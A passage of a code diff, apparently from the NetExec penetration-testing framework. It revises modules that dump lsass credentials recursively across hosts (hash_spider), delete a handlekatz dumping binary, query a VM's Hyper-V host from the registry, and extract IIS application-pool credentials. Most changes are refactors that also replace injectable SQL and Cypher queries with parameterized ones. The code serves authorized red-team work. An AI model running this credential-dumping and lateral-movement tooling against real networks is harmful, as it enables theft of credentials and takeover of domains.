-                for i in range(len(chunk)):
-                    chunk[i] ^= 0x41
-
-                h_out.write(bytes(chunk))
+                    h_out.write(bytes(chunk))
 
             with open(self.dir_result + machine_name + ".decode", "rb") as dump:
                 try:
@@ -182,3 +180,10 @@ class NXCModule:
                         add_user_bh(credz_bh, None, context.log, connection.config)
                 except Exception as e:
                     context.log.fail(f"Error opening dump file: {e}")
+
+    def delete_handlekatz_binary(self, connection, context):
+        try:
+            connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
+            context.log.success(f"Deleted handlekatz file on the {self.share} share")
+        except Exception as e:
+            context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")

nxc/modules/hash_spider.py

@@ -8,6 +8,7 @@ from lsassy.dumper import Dumper
 from lsassy.parser import Parser
 from lsassy.session import Session
 from lsassy.impacketfile import ImpacketFile
+from nxc.helpers.misc import CATEGORY
 
 credentials_data = []
 found_users = []
@@ -70,11 +71,7 @@ def create_db(local_admins, dbconnection, cursor):
 
 
 def process_creds(context, connection, credentials_data, dbconnection, cursor, driver):
-    if connection.args.local_auth:
-        context.log.extra["host"] = connection.conn.getServerDNSDomainName()
-    else:
-        context.log.extra["host"] = connection.domain
-    context.log.extra["hostname"] = connection.host.upper()
+    domain = connection.conn.getServerDNSDomainName() if connection.args.local_auth else connection.domain
     for result in credentials_data:
         username = result["username"].upper().split("@")[0]
         nthash = result["nthash"]
@@ -82,26 +79,26 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
         if result["password"] is not None:
             context.log.highlight(f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.")
             cursor.execute(
-                "UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
-                [password],
+                "UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?",
+                [password, len(username), username.upper()],
             )
-            username = f"{username.upper()}@{context.log.extra['host'].upper()}"
+            username = f"{username.upper()}@{domain.upper()}"
             dbconnection.commit()
             session = driver.session()
-            session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
+            session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username)
         if nthash == "aad3b435b51404eeaad3b435b51404ee" or nthash == "31d6cfe0d16ae931b73c59d7e0c089c0":
             context.log.fail(f"Hash for {username} is expired.")
         elif username not in found_users and nthash is not None:
             context.log.highlight(f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.")
             found_users.append(username)
             cursor.execute(
-                "UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
-                [nthash],
+                "UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?",
+                [nthash, len(username), username.upper()],
             )
             dbconnection.commit()
-            username = f"{username.upper()}@{context.log.extra['host'].upper()}"
+            username = f"{username.upper()}@{domain.upper()}"
             session = driver.session()
-            session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
+            session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username)
             path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
             paths = list(path_to_da.data())
 
@@ -121,12 +118,12 @@ def initial_run(connection, cursor):
     password = getattr(connection, "password", "")
     nthash = getattr(connection, "nthash", "")
     cursor.execute(
-        "UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
-        [password],
+        "UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?",
+        [password, len(username), username.upper()],
     )
     cursor.execute(
-        "UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
-        [nthash],
+        "UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?",
+        [nthash, len(username), username.upper()],
     )
 
 
@@ -134,8 +131,7 @@ class NXCModule:
     name = "hash_spider"
     description = "Dump lsass recursively from a given hash using BH to find local admins"
     supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
+    category = CATEGORY.PRIVILEGE_ESCALATION
 
     def __init__(self, context=None, module_options=None):
         self.context = context
@@ -146,7 +142,7 @@ class NXCModule:
 
     @staticmethod
     def save_credentials(context, connection, domain, username, password, lmhash, nthash):
-        host_id = context.db.get_computers(connection.host)[0][0]
+        host_id = context.db.get_hosts(connection.host)[0][0]
         if password is not None:
             credential_type = "plaintext"
         else:
@@ -192,7 +188,7 @@ class NXCModule:
         )
         if session.smb_session is None:
             context.log.fail("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.")
-            cursor.execute(f"UPDATE admin_users SET hash = NULL WHERE username LIKE '{username}'")
+            cursor.execute("UPDATE admin_users SET hash = NULL WHERE username = ? COLLATE NOCASE", [f"{username}@{domain_name}"])
             return False
         dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
         if dumper is None:
@@ -202,9 +198,20 @@ class NXCModule:
         if file is None:
             context.log.fail("Unable to dump lsass")
             return False
-        credentials, tickets, masterkeys = Parser(file).parse()
-        file.close()
-        ImpacketFile.delete(session, file.get_file_path())
+        try:
+            parsed = Parser(host, file).parse()
+        finally:
+            # Delete the remote file even when parsing failed, and even if closing it fails
+            try:
+                file.close()
+            except Exception as e:
+                context.log.debug(f"Error closing dumper file: {e}")
+            if not ImpacketFile.delete(session, file.get_file_path()):
+                context.log.fail(f"[OPSEC] Failed to delete lsassy dumper file: {file.get_file_path()}")
+        if parsed is None:
+            context.log.fail("Unable to parse lsass dump")
+            return False
+        credentials, tickets, masterkeys = parsed
         if credentials is None:
             credentials = []
         credentials = [cred.get_object() for cred in credentials if not cred.get_username().endswith("$")]
@@ -240,7 +247,7 @@ class NXCModule:
         for user in compromised_users:
             for pc in admin_access:
                 if user[0] in pc[1]:
-                    cursor.execute(f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'")
+                    cursor.execute("SELECT * FROM pc_and_admins WHERE pc_name = ? AND dumped NOT LIKE 'TRUE'", [pc[0]])
                     more_to_dump = cursor.fetchall()
                     if len(more_to_dump) > 0:
                         context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.")
@@ -250,8 +257,10 @@ class NXCModule:
                         connection.nthash = user[1]
                         connection.nthash = user[1]
                         try:
-                            self.run_lsassy(context, connection, cursor)
-                            cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'")
+                            if self.run_lsassy(context, connection, cursor) is False:
+                                context.log.fail(f"Failed to dump lsassy on {pc[0]}")
+                                continue
+                            cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name = ?", [pc[0]])
 
                             process_creds(
                                 context,

nxc/modules/hyperv-host.py

@@ -0,0 +1,53 @@
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.dcerpc.v5 import rrp
+from impacket.examples.secretsdump import RemoteOperations
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """Module by @joaovarelas"""
+
+    name = "hyperv-host"
+    description = "Performs a registry query on the VM to lookup its HyperV Host"
+    supported_protocols = ["smb"]
+    category = CATEGORY.ENUMERATION
+
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
+
+    def options(self, context, module_options):
+        """"""
+
+    def on_admin_login(self, context, connection):
+        self.context = context
+
+        path = "SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters"
+        key = "HostName"
+
+        try:
+            remote_ops = RemoteOperations(connection.conn, False)
+            remote_ops.enableRegistry()
+
+            ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
+            reg_handle = ans["phKey"]
+
+            # Query
+            try:
+                ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, path)
+                key_handle = ans["phkResult"]
+
+                data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, key)
+                self.context.log.highlight(f"{key}: {reg_value}")
+
+                rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
+
+            except DCERPCException as e:
+                self.context.log.debug(f"Registry key {path}\\{key} does not exist: {e}")
+
+        except DCERPCException as e:
+            self.context.log.fail(f"DCERPC Error while querying registry: {e}")
+        except Exception as e:
+            self.context.log.fail(f"Error while querying registry: {e}")
+        finally:
+            remote_ops.finish()

nxc/modules/iis.py

@@ -1,3 +1,6 @@
+from nxc.helpers.misc import CATEGORY
+
+
 class NXCModule:
     """
     Checks for credentials in IIS Application Pool configuration files using appcmd.exe.
@@ -8,14 +11,10 @@ class NXCModule:
     name = "iis"
     description = "Checks for credentials in IIS Application Pool configuration files using appcmd.exe"
     supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def __init__(self):
-        pass
+    category = CATEGORY.CREDENTIAL_DUMPING
 
     def options(self, context, module_options):
-        pass
+        """No options available"""
 
     def on_admin_login(self, context, connection):
         self.check_appcmd(context, connection)
@@ -37,7 +36,7 @@ class NXCModule:
             return
 
     def execute_appcmd(self, context, connection):
-        command = "powershell -c 'C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*'"
+        command = 'powershell -c "C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*"'
         context.log.info("Checking For Hidden Credentials With Appcmd.exe")
         output = connection.execute(command, True)